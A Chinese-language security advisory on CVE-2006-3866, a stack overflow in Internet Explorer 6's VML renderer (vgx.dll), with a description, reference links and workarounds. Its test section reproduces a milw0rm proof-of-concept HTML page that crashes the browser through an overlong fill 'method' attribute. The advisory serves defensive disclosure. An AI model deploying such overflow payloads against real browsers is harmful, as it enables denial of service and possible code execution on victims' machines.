信息来源：绿盟科技
Microsoft IE畸形VML文档处理缓冲区溢出漏洞
发布日期：2006-09-19
更新日期：2006-09-20
受影响系统：
Microsoft Internet Explorer 6.0
- Microsoft Windows XP SP2
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 20096
CVE(CAN) ID: CVE-2006-3866
Internet Explorer是微软发布的非常流行的WEB浏览器。
Internet Explorer在处理畸形VML文档时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在用户机器上执行任意指令。
Microsoft的矢量图形渲染库（vgx.dll）的_IE5_SHADETYPE_TEXT::Text过程在处理矢量标记语言（VML）文档中的某些内容时存在栈溢出漏洞。如果用户受骗使用IE浏览器浏览了“rect”标签中包含有超长“fill”方式的恶意VML文档的话，就会触发这个溢出，导致执行任意指令。目前这个漏洞正在被积极的利用。
<*来源：Sunbelt Software （
http://www.sunbelt-software.com/）
链接：
http://secunia.com/advisories/21989/
http://www.microsoft.com/technet/security/advisory/925568.mspx
http://marc.theaimsgroup.com/?l= ... 68614518870&w=2
http://www.kb.cert.org/vuls/id/416092
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<!--
Currently just a DoS
EAX is controllable and currently it crashes when trying to move EBX into the location pointed to by EAX
Shirkdog
-->
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<v:rect style='width:120pt;height:80pt' fillcolor="red">
<v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD01" angle="-45"
focus="100%" focusposition=".5,.5" focussize="0,0"
type="gradientRadial" />
</v:rect>
</body>
</html>
# milw0rm.com [2006-09-19]
建议：
--------------------------------------------------------------------------------
临时解决方法：
* 注销Vgx.dll。
* 修改访问控制列表，限制对Vgx.dll访问。
* 配置Microsoft Windows XP SP2上的IE6在Internet和本地Intranet安全区中禁用“二进制和脚本行为”。
* 以纯文本读取邮件消息。
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/windows/ie/default.asp
